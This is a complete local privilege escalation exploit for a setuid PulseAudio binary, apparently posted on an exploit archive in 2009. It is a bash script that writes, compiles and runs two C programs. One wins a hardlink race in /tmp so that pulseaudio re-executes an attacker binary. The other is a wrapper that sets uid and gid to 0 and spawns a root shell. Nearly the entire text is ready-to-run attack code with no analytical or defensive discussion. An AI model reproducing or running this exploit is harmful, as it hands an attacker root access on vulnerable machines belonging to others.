PulseAudio setuid Local Privilege Escalation Exploit

2009-07-20 19:36:02

#!/bin/bash

pulseaudio=`which pulseaudio`
workdir="/tmp"
#workdir=$HOME
id=`which id`
shell=`which sh`

trap cleanup INT

function cleanup()
{
rm -f $workdir/sh $workdir/sh.c $workdir/pa_race $workdir/pa_race.c
rm -rf $workdir/PATMP*
}

cat > $workdir/pa_race.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/wait.h>

#define PULSEAUDIO_PATH "$pulseaudio"
#define SH_PATH "$workdir/sh"
#define TMPDIR_TEMPLATE "$workdir/PATMPXXXXXX"

void _pause(long sec, long usec);

int main(int argc, char *argv[], char *envp[])
{
int status;
pid_t pid;
char template[sizeof(TMPDIR_TEMPLATE)];
char *tmpdir;
char hardlink[sizeof(template) + 2];
char hardlink2[sizeof(template) + 12];

srand(time(NULL));

for( ; ; )
{
snprintf(template, sizeof(template), "%s", TMPDIR_TEMPLATE);
template[sizeof(template) - 1] = '\0';

tmpdir = mkdtemp(template);
if(tmpdir == NULL)
{
perror("mkdtemp");
return 1;
}

snprintf(hardlink, sizeof(hardlink), "%s/A", tmpdir);
hardlink[sizeof(hardlink) - 1] = '\0';

snprintf(hardlink2, sizeof(hardlink2), "%s/A (deleted)", tmpdir);
hardlink2[sizeof(hardlink2) - 1] = '\0';

/* this fails if $workdir is a different partition */
if(link(PULSEAUDIO_PATH, hardlink) == -1)
{
perror("link");
return 1;
}

if(link(SH_PATH, hardlink2) == -1)
{
perror("link");
return 1;
}

pid = fork();

if(pid == 0)
{
char *argv[] = {hardlink, NULL};
char *envp[] = {NULL};

execve(hardlink, argv, envp);

perror("execve");
return 1;
}

if(pid == -1)
{
perror("fork");
return 1;
}
else
{
/* tweak this if exploit does not work */
_pause(0, rand() % 500);

if(unlink(hardlink) == -1)
{
perror("unlink");
return 1;
}

if(link(SH_PATH, hardlink) == -1)
{
perror("link");
return 1;
}
waitpid(pid, &status, 0);
}

if(unlink(hardlink) == -1)
{
perror("unlink");
return 1;
}

if(unlink(hardlink2) == -1)
{
perror("unlink");
return 1;
}

if(rmdir(tmpdir) == -1)
{
perror("rmdir");
return 1;
}
}

return 0;
}

void _pause(long sec, long usec)
{
struct timeval timeout;

timeout.tv_sec = sec;
timeout.tv_usec = usec;

if(select(0, NULL, NULL, NULL, &timeout) == -1)
{
perror("select");
}
}
__EOF__

cat > $workdir/sh.c << __EOF__
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>


int main(int argc, char *argv[], char *envp[])
{
if(geteuid() != 0)
{
return 1;
}

setuid(0);
setgid(0);

if(fork() == 0)
{
argv[0] = "$id";
argv[1] = NULL;
execve(argv[0], argv, envp);
return 1;
}

argv[0] = "$shell";
argv[1] = NULL;
execve(argv[0], argv, envp);
return 1;
}
__EOF__

gcc -o $workdir/pa_race $workdir/pa_race.c
gcc -o $workdir/sh $workdir/sh.c

$workdir/pa_race

#

Fixes

No fixes

In order to submit a new fix you need to be registered.